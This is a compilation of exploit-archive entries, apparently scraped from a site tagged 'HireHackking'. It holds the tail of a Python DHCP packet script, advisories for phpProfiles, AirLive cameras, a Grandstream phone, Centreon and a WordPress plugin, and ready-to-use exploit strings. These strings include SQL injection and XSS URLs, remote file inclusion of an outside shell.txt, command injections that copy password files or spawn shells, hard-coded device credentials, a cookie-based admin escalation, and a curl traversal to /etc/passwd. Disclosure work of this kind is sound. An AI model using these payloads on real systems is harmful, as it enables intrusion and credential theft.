    '\x00\x00\x00\x00\x00\x00\x00\x00'
    '\x00\x00\x00\x00\x00\x00\x00\x00'
    '\x00\x00\x00\x00\x00\x00\x00\x00'
    '\x00\x00\x00\x00\x00\x00\x00\x00'
    '\x00\x00\x00\x00\x00\x00\x00\x00'
    '\x00\x00\x00\x00\x00\x00\x00\x00'
    '\x00\x00\x00\x00\x00\x00\x00\x00'
    '\x00\x00\x00\x00\x00\x00\x00\x00'
    '\x00\x00\x00\x00\x00\x00\x00\x00'
    '\x00\x00\x00\x00\x00\x00\x00\x00'
    '\x00\x00\x00\x00\x00\x00\x00\x00'
    '\x00\x00\x00\x00\x00\x00\x00\x00'
    '\x00\x00\x00\x00\x00\x00\x00\x00'
    '\x00\x00\x00\x00\x63\x82\x53\x63'
    '\x35\x01\x03\x32\x04\x0a\x00\x00'
    '\x01\x0c\x00'
    '\x37\x0d\x01\x1c\x02\x03\x0f'
    '\x06\x77\x0c\x2c\x2f\x1a\x79\x2a'
    '\xff\x00\x00\x00\x00\x00\x00\x00'
    '\x00\x00\x00\x00\x00\x00\x00\x00'
    '\x00\x00\x00\x00\x00\x00\x00\x00'
    '\x00\x00\x00\x00')
 
    sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
    sock.connect((args['-h'], int(args['-p'])))
    sock.sendall(dhcp_req_packet)
    print 'Packet sent'
    sock.close()
 
def usage(pyname):
    print '''
    Usage: %s -h <host> -p <port>
''' % pyname
 
if __name__ == "__main__":
    main()
HireHackking 
source: https://www.securityfocus.com/bid/54660/info

phpProfiles is prone to multiple security vulnerabilities because it fails to sufficiently sanitize user-supplied input.

Exploiting these vulnerabilities could allow an attacker to execute malicious code within the context of the web server process, steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

phpProfiles 4.5.4 Beta is vulnerable; other versions may also be affected. 

http://www.example.com/full_release/community.php?action=showtopic&comm_id=00001&topic_id=0000000009&topic_title=[XSS]
http://www.example.com/full_release/community.php?comm_id=[SQL]
http://www.example.com/Full_Release/include/body_admin.inc.php?menu=http://www.example1.com/shell.txt?
HireHackking 
1. Advisory Information

Title: AirLive Multiple Products OS Command Injection
Advisory ID: CORE-2015-0012
Advisory URL: http://www.coresecurity.com/advisories/airlive-multiple-products-os-command-injection
Date published: 2015-07-06
Date of last update: 2015-07-06
Vendors contacted: AirLive
Release mode: User release


2. Vulnerability Information

Class: OS Command Injection [CWE-78], OS Command Injection [CWE-78]
Impact: Code execution
Remotely Exploitable: Yes
Locally Exploitable: No
CVE Name: CVE-2015-2279, CVE-2014-8389



3. Vulnerability Description

AirLive MD-3025 [3], BU-3026 [4], BU-2015 [2], WL-2000CAM [5] and POE-200CAM [6] are IP cameras designed for professional surveillance and security applications. The built-in IR LEDs provide high quality nighttime monitoring.

These AirLive [1] devices are vulnerable to an OS Command Injection Vulnerability. In the case of the MD-3025, BU-3026 and BU-2015 cameras, the vulnerability lies in the cgi_test.cgi binary file. In the case of the WL-2000CAM and POE-200CAM cameras, the command injection can be performed using the vulnerable wireless_mft.cgi binary file.


4. Vulnerable Packages

AirLive BU-2015 with firmware 1.03.18 16.06.2014
AirLive BU-3026 with firmware 1.43 21.08.2014
AirLive MD-3025 with firmware 1.81 21.08.2014
AirLive WL-2000CAM with firmware LM.1.6.18 14.10.2011
AirLive POE-200CAM v2 with firmware LM.1.6.17.01
Other devices may be affected too, but they were not checked.


5. Vendor Information, Solutions and Workarounds

Core Security recommends to apply a WAF (Web Application Firewall) rule that would filter the vulnerable request (either the CGI file or the parameters where the injection is performed) in order to avoid exploitation.

Contact the vendor for further information.


6. Credits

These vulnerabilities were discovered and researched by Nahuel Riva from Core Security Exploit Writing Team. The publication of this advisory was coordinated by Joaquin Rodriguez Varela from Core Security Advisories Team.


7. Technical Description / Proof of Concept Code

7.1. OS Command Injection in cgi_test.cgi when handling certain parameters

[CVE-2015-2279] There is an OS Command Injection in the cgi_test.cgi binary file in the AirLive MD-3025, BU-3026 and BU-2015 cameras when handling certain parameters. That specific CGI file can be requested without authentication, unless the user specified in the configuration of the camera that every communication should be performed over HTTPS (not enabled by default).

The vulnerable parameters are the following:

 
write_mac
write_pid
write_msn
write_tan
write_hdv
These parameters are used to invoke another binary file called "info_writer".

In the sub_93F4 function it uses the "QUERY_STRING" and checks if it contains any of the parameters followed by an ampersand symbol:

 
sub_93F4
STMFD           SP!, {R4-R7,LR}
LDR             R0, =aQuery_string ; "QUERY_STRING"
SUB             SP, SP, #4
BL              getenv
MOV             R1, #0  ; c
MOV             R2, #0x12 ; n
MOV             R6, R0
LDR             R0, =unk_14B70 ; s
BL              memset
LDR             R0, =aContentTypeTex ; "Content-type: text/html\n\n<body>"
BL              printf
MOV             R5, #0
LDR             R7, =off_B7D0
MOV             R4, R5
B               loc_943C
[...]
loc_9540                ; jumptable 00009470 case 7
MOV             R0, R6
LDR             R1, =aWrite_pid ; "write_pid&"
BL              strstr
CMP             R0, #0
BEQ             loc_94CC ; jumptable 00009470 default case
[...]
 
It then uses whatever appears after the ampersand symbol in a call to printf() in order to put together the parameter with which the "info_writer" binary will be invoked. Finally, it calls the system() function:

 
[...]
.text:00009730 loc_9730                                ; CODE XREF: .text:00009714j
.text:00009730                 MOV             R2, R5
.text:00009734                 LDR             R1, =aOptIpncInfo__1 ; "/opt/ipnc/info_writer -p %s > /dev/null"
.text:00009738                 MOV             R0, SP
.text:0000973C                 BL              sprintf
.text:00009740                 MOV             R0, SP
.text:00009744                 BL              system
.text:00009748                 MOV             R2, R5
.text:0000974C                 LDR             R1, =aWrite_pidOkPid ; "WRITE_PID OK, PID=%s\r\n"
.text:00009750                 LDR             R0, =unk_1977C
.text:00009754                 MOV             R4, SP
.text:00009758                 BL              sprintf
.text:0000975C                 B               loc_9728
[...]
 
Consequently, if a semicolon (;) is used after the ampersand symbol, arbitrary commands can be injected into the operating system.

It's important to take into account that depending on the parameter used, there are checks like this (corresponding to the write_pid parameter):

 
.text:00009708                 MOV             R0, R5
.text:0000970C                 BL              strlen
.text:00009710                 CMP             R0, #9
 
This verifies that the parameter has a specific length. Because of this, the injection is somewhat limited. Nevertheless, there are possible commands that can be executed, for example:

 
Proof of Concept:

http://<Camera-IP>:8080/cgi_test.cgi?write_tan&;ls&ls%20-la


PoC Output:

Write MAC address, model name, hw version, sn, tan, pid,firmware version
 
  -c => set system MAC address
  -m [MAC] => write MAC address
  -n [Model Name] => write Model Name
  -h [HW Version] => write HW Version
  -v [Firmware Version] => write Firmware Version
  -s [SN] => write SN
  -t [TAN] => write TAN
  -d [PID] => write PID
  -r [CR] => write Country Region
  -p => show current info.
 
Content-type: text/html
 
<body>WRITE_TAN OK, PID=;ls&ls%20-
</body></html>3g.htm
485.htm
SStreamVideo.cab
ado.htm
cfgupgrade.cgi
cgi_test.cgi
client.htm
default.htm
default_else.htm
default_ie.htm
default_m.htm
default_nets.htm
[...]
 
7.2. OS Command Injection in AirLive WL-2000CAM's wireless_mft.cgi binary file

[CVE-2014-8389] The AirLive WL-2000CAM anf POE-200CAM "/cgi-bin/mft/wireless_mft.cgi" binary file, has an OS command injection in the parameter ap that can be exploited using the hard-coded credentials the embedded Boa web server has inside its configuration file:

 
username: manufacture
password: erutcafunam
 
The following proof of concept copies the file where the user credentials are stored in the web server root directory:

 
  <a href="http://<Camera-IP>/cgi-bin/mft/wireless_mft?ap=testname;cp%20/var/www/secret.passwd%20/web/html/credentials">http://<Camera-IP>/cgi-bin/mft/wireless_mft?ap=testname;cp%20/var/www/...</a>
   
Afterwards, the user credentials can be obtained by requesting:

 
<a href="http://<Camera-IP>/credentials">http://<Camera-IP>/credentials</a>
 
The credentials are encoded in a string using Base64, therefore it is easy to decode them and have complete access to the device.



8. Report Timeline

2015-05-04: Core Security sent an initial email notification to AirLive. Publication date set to Jun 8, 2015.
2015-05-07: Core Security sent another email notification to AirLive.
2015-05-14: Core Security attempted to contact AirLive through Twitter.
2015-05-20: Core Security attempted to contact AirLive through Twitter again.
2015-06-16: Core Security sent another email and Twitter notification to AirLive.
2015-06-18: Core Security sent an email to Airlive explaining that this was their last opportunity to reply, if not the advisory was going to be published on June 23, 2015.
2015-07-06: Advisory CORE-2015-0012 published.


9. References

[1] http://www.airlive.com. 
[2] http://www.airlive.com/product/BU-2015. 
[3] http://www.airlive.com/product/MD-3025. 
[4] http://www.airlive.com/product/BU-3026. 
[5] http://www.airlivecam.eu/manualy/ip_kamery/WL-2000CAM.pdf. 
[6] http://www.airlivesecurity.com/product.php?id=5#. 


10. About CoreLabs

CoreLabs, the research center of Core Security, is charged with anticipating the future needs and requirements for information security technologies. We conduct our research in several important areas of computer security including system vulnerabilities, cyber attack planning and simulation, source code auditing, and cryptography. Our results include problem formalization, identification of vulnerabilities, novel solutions and prototypes for new technologies. CoreLabs regularly publishes security advisories, technical papers, project information and shared software tools for public use at: http://corelabs.coresecurity.com.


11. About Core Security Technologies

Core Security Technologies enables organizations to get ahead of threats with security test and measurement solutions that continuously identify and demonstrate real-world exposures to their most critical assets. Our customers can gain real visibility into their security standing, real validation of their security controls, and real metrics to more effectively secure their organizations.

Core Security's software solutions build on over a decade of trusted research and leading-edge threat expertise from the company's Security Consulting Services, CoreLabs and Engineering groups. Core Security Technologies can be reached at +1 (617) 399-6980 or on the Web at: http://www.coresecurity.com.


12. Disclaimer

The contents of this advisory are copyright (c) 2015 Core Security and (c) 2015 CoreLabs, and are licensed under a Creative Commons Attribution Non-Commercial Share-Alike 3.0 (United States) License: http://creativecommons.org/licenses/by-nc-sa/3.0/us/


13. PGP/GPG Keys

This advisory has been signed with the GPG key of Core Security advisories team, which is available for download at http://www.coresecurity.com/files/attachments/core_security_advisories.asc.
HireHackking 
The Grandstream GXV3275 is an Android-based VoIP phone. Several
vulnerabilities were found affecting this device.

* The device ships with a default root SSH key, which could be used as a
backdoor:

/system/root/.ssh # cat authorized_keys
Public key portion is:
ssh-rsa
AAAAB3NzaC1yc2EAAAADAQABAAAAgwCIcYbgmdHTpTeDcBA4IOg5Z7d2By0GXGihZzcTxZC+YTWGUe/HJc+pYDpDrGMWg0hMqd+JPs1GaLNw4pw0Mip6VMT7VjoZ8Z+n2ULNyK1IoTU4C3Ea4vcYVR8804Pvh9vXxC0iuMEr1Jx7SewUwSlABX04uVpEObgnUhpi+hn/H34/
jhzhao@jhzhao-Lenovo
Fingerprint: md5 7b:6e:a0:00:19:54:a6:39:84:1f:f9:18:2e:79:61:b5

This issue has not been resolved.

* The SSH interface only provides access to a limited CLI. The CLI's ping
and traceroute commands will pass user input as parameters to underlying
system commands without escaping shell metacharacters. This can be
exploited to break out to a shell:

GXV3275 > traceroute $(sh)

This shell will only see stderr, so we then need to run sh with stdout
redirected to stderr:

sh 1>&2

This issue has been resolved in firmware version 1.0.3.30.

* The web interface exposes an undocumented command execution API:


http://DEVICEIP/manager?action=execcmd&command=echo%20%22hello%22%20%3E%20/system/root/test.txt

This issue has been resolved in firmware version 1.0.3.30.

* The web interface allows unprivileged users to escalate privileges by
modifying a cookie on the client side:

javascript:void(document.cookie="type=admin")

Full details are available here:

http://davidjorm.blogspot.com/2015/07/101-ways-to-pwn-phone.html

MITRE was contacted repeatedly requesting CVE names for these issues, but
never replied.

David
HireHackking 
Merethis Centreon - Unauthenticated blind SQLi and Authenticated Remote Command Execution

CVEs: CVE-2015-1560, CVE-2015-1561

Vendor: Merethis - www.centreon.com
Product: Centreon
Version affected: 2.5.4 and prior

Product description:
Centreon is the choice of some of the world's largest companies and mission-critical organizations for real-time IT performance monitoring and diagnostics management. (from https://www.centreon.com/en/)

Advisory introduction:
Centron 2.5.4 is susceptible to multiple vulnerabilities, including unauthenticated blind SQL injection and authenticated remote system command execution.

Credit: Huy-Ngoc DAU of Deloitte Conseil, France

================================
Finding 1: Unauthenticated Blind SQL injection in isUserAdmin function (CVE-2015-1560)
================================
Vulnerable function is "isUserAdmin" (defined in include/common/common-Func.php), in which unsanitized "sid" GET parameter is used in a SQL request.

PoC:
https://example.domain/centreon/include/common/XmlTree/GetXmlTree.php?si
d=%27%2Bif(1%3C2,sleep(1),%27%27)%2B%27
https://example.domain/centreon/include/common/XmlTree/GetXmlTree.php?si
d=%27%2Bif(1%3C0,sleep(1),%27%27)%2B%27

By exploiting CVE-2015-1560, an attacker can obtain among others a valid session_id, which is required to exploit CVE-2015-1561.

================================
Finding 2: Authenticated Command Execution in getStats.php (CVE-2015-1561)
================================
$command_line variable, which is passed to popen function, is constructed using unsanitized GET parameters.

PoC (a valid session_id value is required):
- Reading /etc/passwd by injecting command into "ns_id" parameter:
http://example.domain/centreon/include/Administration/corePerformance/ge
tStats.php?ns_id=|+more+/etc/passwd+%23&key=active_service_check&start=t
oday&session_id=[valid session_id]
- Injecting "uname ?a" into "end" parameter:
http://example.domain/centreon/include/Administration/corePerformance/ge
tStats.php?ns_id=1&key=active_service_check&start=today&end=|+uname+-a+%
23&session_id=[valid session_id]

Combining two vulnerabilities, an unauthenticated attacker can take control of the web server.

================================
Timeline
================================
26/01/2015 - Vulnerabilities discovered
29/01/2015 - Vendor notified
05/02/2015 - Vendor fixed SQLi 
13/02/2015 - Vendor fixed RCE

References
Vendor fixes:
- SQLi : https://forge.centreon.com/projects/centreon/repository/revisions/d14f21
3b9c60de1bad0b464fd6403c828cf12582
- Command execution : https://forge.centreon.com/projects/centreon/repository/revisions/d14f21
3b9c60de1bad0b464fd6403c828cf12582

About Deloitte:
Deloitte refers to one or more of Deloitte Touche Tohmatsu Limited, a UK private company limited by guarantee, and its network of member firms, each of which is a legally separate and independent entity. Please see www.deloitte.com/about for a detailed description of the legal structure of Deloitte Touche Tohmatsu Limited and its member firms. In France, Deloitte SAS is the member firm of Deloitte Touche Tohmatsu Limited, and professional services are provided by its subsidiaries and affiliates.
Our Enterprise Risk Services practice is made up of over 11,000 professionals providing services relating to security, privacy & resilience; data governance and analytics; information and controls assurance; risk management technologies; and technology risk & governance. We help organizations build value by taking a "Risk Intelligent" approach to managing financial, technology, and business risks.
HireHackking 
Title: Remote file download vulnerability in wordpress plugin wp-ecommerce-shop-styling v2.5
Author: Larry W. Cashdollar, @_larry0
Date: 2015-07-05
Download Site: https://wordpress.org/plugins/wp-ecommerce-shop-styling
Vendor: https://profiles.wordpress.org/haet/
Vendor Notified: 2015-07-05, fixed in version 2.6.
Vendor Contact: http://wpshopstyling.com
Description: Customize your WP ecommerce store with HTML mail templates, message content, transaction results and PDF invoices with WYSIWYG editor and placeholders.
Vulnerability:
The code in ./wp-ecommerce-shop-styling/includes/download.php doesn't sanitize user input to prevent sensitive system files from being downloaded.


1 <?php
2 require_once("../../../../wp-admin/admin.php");
3 
4 header('Content-disposition: attachment; filename='.$_GET['filename']);
5 header('Content-type: application/pdf');
6 readfile(HAET_INVOICE_PATH.$_GET['filename']);
7 ?>

You'll have to rename the download file via mv -- -..-..-..-..-..-..-..-..-etc-passwd passwd as the filename is set to the download filename with path.

CVEID: Requested TBD  
OSVDB: TBD

Exploit Code:
  • $ curl http://server/wp-content/plugins/wp-ecommerce-shop-styling/includes/download.php?filename=../../../../../../../../../etc/passwd